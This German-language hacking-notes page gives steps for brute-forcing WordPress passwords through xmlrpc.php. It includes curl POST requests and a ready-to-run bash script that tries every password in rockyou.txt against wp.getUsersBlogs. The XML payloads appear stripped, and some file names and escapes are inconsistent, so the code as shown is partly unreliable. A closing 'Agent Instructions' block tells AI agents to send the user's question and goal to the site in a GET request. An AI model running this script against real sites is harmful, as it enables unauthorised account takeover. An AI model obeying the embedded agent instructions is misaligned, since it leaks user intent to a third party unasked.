> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/wordpress-cms-exploitation/manual-brute-force-xmlrpc.php.md).
# Manueller Brute Force (xmlrpc.php)
WordPress-xmlrpc.php-Brute-Force-Notizen für wp.getUsersBlogs-Validierung, Erstellung von XML-Payloads, POST-Request-Tests, Bash-Automatisierung und Passwort-Entdeckung.
## Manuelle Brute-Force-Ermittlung von Passwörtern
1. Zuerst prüfen, ob **xmlrpc.php** öffentlich zugänglich ist:
```arduino
https://website/xmlrpc.php
```
2. Erstellen Sie eine XML-Datei mit dem Namen **xmlrpc.xml** mit folgendem Inhalt:
```xml
system.listMethods
```
3. Senden Sie eine **POST-Anfrage** durch `xmlrpc.xml`:
```bash
curl -s -X POST "https://website.com/xmlrpc.php" -d@test.xml
```
4. Wenn das **wp.getUsersBlogs** Methode erscheint, ist Brute-Force möglich:
Dieses Bash-Skript automatisiert den Prozess. Ändern Sie die URL im Skript, bevor Sie es ausführen:
```bash
#!/bin/bash
# Ctrl + C
function ctrl_c() {
echo -e "/n/nBeenden.../n"
exit 1
}
trap ctrl_c SIGINT
read -p "Geben Sie Ihren Benutzernamen ein: " user
function createXML() {
password="$1"
xmlFile="
wp.getUsersBlogs"$user"$password"
echo "$xmlFile" > file.xml
response=$(curl -s -X POST "http://website.com/xmlrpc.php" -d@file.xml)
if ! echo "$response" | grep -q 'Falscher Benutzername oder falsches Passwort.'; then
echo "[+] Das Passwort für den Benutzer $user ist $password"
exit 0
fi
}
while read -r password; do
createXML "$password"
done < /usr/share/wordlists/rockyou.txt
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/de/cms/wordpress-cms-exploitation/manual-brute-force-xmlrpc.php.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
